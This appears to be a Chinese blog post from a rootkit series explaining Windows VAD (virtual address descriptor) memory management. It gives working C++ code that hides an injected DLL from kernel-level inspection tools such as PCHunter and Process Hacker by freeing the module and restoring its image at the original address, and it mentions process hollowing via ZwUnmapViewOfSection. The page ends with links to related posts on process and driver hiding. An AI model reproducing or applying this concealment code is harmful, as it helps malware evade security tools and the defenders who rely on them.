[Rootkit] dll 隐藏 - VAD
3环下要想隐藏dll,仅仅靠断链和抹去PE头信息是不够的;这样做能骗过同样在3环运行的调试器,但是骗不过在0环通过驱动做检测的PChunter、Process Hacker等工具;要想彻底隐藏,需要更进一步搞定驱动层的各种检测,下面会详细介绍隐藏的细节原理和操作方法!
1、VAD 虚拟内存管理
内存分两种:物理内存和虚拟内存;操作系统和进程共享物理内存,进程独享虚拟内存;物理内存可以通过CR3在进程之间互相隔离,确保进程之间互不侵犯;那么进程内部的虚拟地址该怎么管理了? 32位下,每个进程独享4GB内存,怎么知道哪些内存已经使用过,哪些没用过? 已经使用的内存,是可读可写可执行的么? 还是只读的了? 该怎么记录这些关键信息了?windwos采用一种叫做virtual address descripot的自平衡二叉树来管理虚拟内存,低端的内存地址放在根节点左子树,高端内存地址放根节点右子树,大致的结构如下:每当进程调用virtualAlloc分配虚拟内存时,操作系统会先遍历这个树,看看还有哪些地方的虚拟内存还未使用,然后返回给开发人员:
windbg能查到每个进程VAD的root节点:
VAD里面也记录了该进程dll的使用情况。
当内存使用完毕,建议立即调用VirtualFree,将这段虚拟内存从VAD从抹去,后续再次遍历时才能继续使用!正常情况下,如果要卸载dll,可以调用windwos提供的freeLibrary接口,里面有关键的函数:ZwUnmapViewOfSection,可以直接把dll对应的内存从VAD中删除(这里多说两句:ZwUnmapViewOfSection 功能很强大,可以替换进程的代码,让其称为傀儡执行恶意的代码)。
2、之前分享过一个驱动隐藏的思路(https://www.cnblogs.com/theseventhson/p/13170445.html): 让driver entry返回false,操作系统会认为驱动加载失败,不会记录。但在driverentry里面把自己想要执行的代码拷贝到堆上,然后将代码入口点作为imageLoad回调函数的入口点。虽然驱动加载“失败”,但代码已经拷贝到堆,并且注册成为了回调函数,dll隐藏也可以借鉴类似的思路:
- 先重新申请一个新空间,把需要隐藏的dll拷贝到新空间备份
- 用freelibrary释放需要隐藏的dll,VAD中会删除这个dll的。此时如果eip跳转到dll执行,肯定报错
- 重新用virtualAlloc申请原dll地址,再把第一步备份的原dll代码拷贝到这次申请的地址(其实就是dll原来加载的地址)
- 此时如果eip跳转到这个地址执行代码是ok的
这么做的本质是:把dll从vad的记录中抹去,重新申请内存来存放dll的代码。虽说在vad还是有内存的使用记录,但因为并未使用loadlibrary,所以也不会在vad中留下dll的记录(这是本质是把dll变相当成shellcode在用,至于全局变量、导入函数、重定位这些,由编译器和操作系统都做好了,不需要开发人员操心);核心代码如下:
/************************************************************************/
/* 把当前进程的所有DLL(除开需要隐藏的那个)都使用LoadLibrary再次加载一边,增加引用计数, */
/* 使得Free时对应的DLL资源不释放 */
/************************************************************************/void LockAllModules()
{HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());if (hSnapshot != INVALID_HANDLE_VALUE){MODULEENTRY32 me = { sizeof(me) };BOOL fOk = Module32First(hSnapshot, &me);for (fOk = Module32Next(hSnapshot, &me); fOk; fOk = Module32Next(hSnapshot, &me)){//跳过第一个(自身) CString wInfo;wInfo.Format(_T("%s"), me.szModule);wInfo.MakeLower();if (wInfo != _T("dlls.dll"))LoadLibrary(me.szModule);//加载除了dlls.dll以外的所有内存}}
}BOOL CopycatAndHide(HMODULE hDll)
{// 整体思路:先把DLL加载到当前进程,然后将该加载的DLL再备份到当前进程空间; // 接下来该DLL再Free了,此时进程再访问该DLL的话会出错; // Free后,再把预先备份的DLL数据还原,而且还原的数据地址是原先DLL加载的地址 // 如此,进程内再调用该DLL的话,由于数据完整,一切OK DWORD g_dwImageSize = 0;VOID* g_lpNewImage = NULL;IMAGE_DOS_HEADER* pDosHeader;IMAGE_NT_HEADERS* pNtHeader;IMAGE_OPTIONAL_HEADER* pOptionalHeader;LPVOID lpBackMem = 0;DWORD dwOldProtect;DWORD dwCount = 30;pDosHeader = (IMAGE_DOS_HEADER*)hDll;pNtHeader = (IMAGE_NT_HEADERS*)(pDosHeader->e_lfanew + (DWORD)hDll);pOptionalHeader = (IMAGE_OPTIONAL_HEADER*)&pNtHeader->OptionalHeader;LockAllModules();// 找一块内存把需要隐藏而且已经加载到内存的DLL备份 // SizeOfImage,4个字节,表示程序调入后占用内存大小(字节),等于所有段的长度之和。 lpBackMem = VirtualAlloc(0, pOptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!lpBackMem)return FALSE;if (!VirtualProtect((LPVOID)hDll, pOptionalHeader->SizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect))return FALSE;g_dwImageSize = pOptionalHeader->SizeOfImage;memcpy(lpBackMem, (LPVOID)hDll, g_dwImageSize);// 抹掉PE头 //memset(lpBackMem, 0, 0x200);*((PBYTE)hDll + pOptionalHeader->AddressOfEntryPoint) = (BYTE)0xc3;// DWORD dwRet =0; // Free掉DLL do{dwCount--;} while (FreeLibrary(hDll) && dwCount);// 把备份的DLL数据还原回来,使得预先引用该DLL的程序能够继续正常运行 g_lpNewImage = VirtualAlloc((LPVOID)hDll, g_dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (g_lpNewImage != (LPVOID)hDll)return FALSE;memcpy(g_lpNewImage, lpBackMem, g_dwImageSize);VirtualFree(lpBackMem, 0, MEM_RELEASE);return TRUE;
}
参考:
1、https://wenku.baidu.com/view/439526b369dc5022aaea0077 内存管理
2、https://bbs.pediy.com/thread-257179.htm VC黑防日记(二):DLL隐藏和逆向
3、https://blog.csdn.net/arbboter/article/details/38260973 DLL隐藏技术
4、https://bbs.pediy.com/thread-153508.htm 进程替换
[Rootkit] dll 隐藏 - VAD相关推荐
- [Rootkit] 进程隐藏 - 内存加载(寄生僵尸进程)
众所周知,windows下可执行文件必须符合一定的格式要求,微软官方称之为PE文件(关于PE文件的详细介绍这里就不赘述了,google一下可以找到大把):用户在界面双击exe时,有个叫做explore ...
- Crimsonland 血腥大地 逆向无敌通关分析报告【配置文件加密】【Dll隐藏MD5检测补丁反调试函数】【反反调试】...
一.工具及游戏介绍 使用工具:Ollydbg,PEID,Beyond Compare,Cheat Engine 实现功能:无敌,全部通关. Crimsonland 血腥大地 二.实现无敌: 使用CE查 ...
- [Rootkit] 驱动隐藏 - 断链
注意 : 此方法会触发 PG 代码参考 1 typedef struct _driverdata {LIST_ENTRY listentry;ULONG unknown1;ULONG unknown2 ...
- [Rootkit] 修改 peb 隐藏 dll(断链)
PEB 中有一个成员 Ldr: typedef struct _PEB {UCHAR InheritedAddressSpace;UCHAR ReadImageFileExecOptions;UCHA ...
- 再谈隐藏进程中的DLL模块/黑月教主
http://hi.baidu.com/_achillis/blog/item/59bf732623fbe509918f9d87.html 相当老的话题,大约一年前就写过这个东西了,不过那时候知识比较 ...
- DLL注入与隐藏的学习
本篇要讲什么?小白看了要问,DLL是啥?为啥要注入?又干嘛隐藏?而大佬直接 我当然是菜鸡,所以我们一起来学习一下这dll到底是神魔东西,他有什么神奇之处. 一.DLL简介 定义:动态链接库英文为DLL ...
- 模块隐藏(LDR_MODULE链 与 PE特征)
比较常见的模块隐藏方法有抹去模块的PE头,断开进程的LDR_MODULE链,Hook模块枚举函数等.后面备注VAD隐藏. //测试EXE,加载WaiGua.dll,再隐藏. #include < ...
- Rootkit For Windows(1)
[转载] 作者:sunwear@E.S.T 来源:邪恶八进制 发布:sunlion@E.S.T 日期:2006-1-2 ************************************** ...
- Rootkit For Windows
Rootkit For Windows *********************************************************** *转载请保留文章完整,谢谢! *Date ...
- ARM Rootkit
ARM Rootkit mncoppola.suterusu jiayy.lkm.rootkit dschuermann.suterusu mncoppola.suterusu 因为其CPU架构不同, ...
最新文章
- WebStorm中不小心勾选了不再显示更新项目的提示弹窗,如何重新显示版本控制(VCS)的更新项目Update Project(同步项目)提示弹窗?
- 10个非常有趣的Linux命令
- 强势安利8个小众、很厉害的软件,让人眼前一亮
- anaconda怎么下载python3.6_Anaconda Python3.6下载
- Qt QDialog将窗体变为顶层窗体(activateWindow(); 和 raise() )
- CASREL:A Novel Cascade Binary Tagging Framework for Relational Triple Extraction(关系抽取,ACL2020,重叠关系)
- Xcode 9.2下载地址
- JAVA中各种简写全称整理
- Atitit mybatis返回多个数据集总结 目录 1.1. 配置handleResult接受,但是只有第一个select语句的结果	1 2. 配置resultMap ok	1 2.1. 调
- hdu 1686 Oulipo
- 机器人动力学建模之刚体动力学基础学习
- 从头开始vue创建项目_从头开始创建Windows 7主题包
- 【Pix4d精品教程】垂直摄影空三加密生成DOM和DSM,并按10m间距提取高程点,生成等高线
- 【MODBUS】组态王通过串口与MODBUS RTU设备通讯
- paypal如何退款
- html图层设置大小,html背景图片怎么设置大小
- Springboot 注解最全详解
- Emlog模板fee2.0主题商业版
- 解决M1芯片mac安装AU( Audition2020)AU2020已适配M1芯片,M1处理器安装AU教程方案
- 熟悉的人不认识我了,不熟悉的人认识我了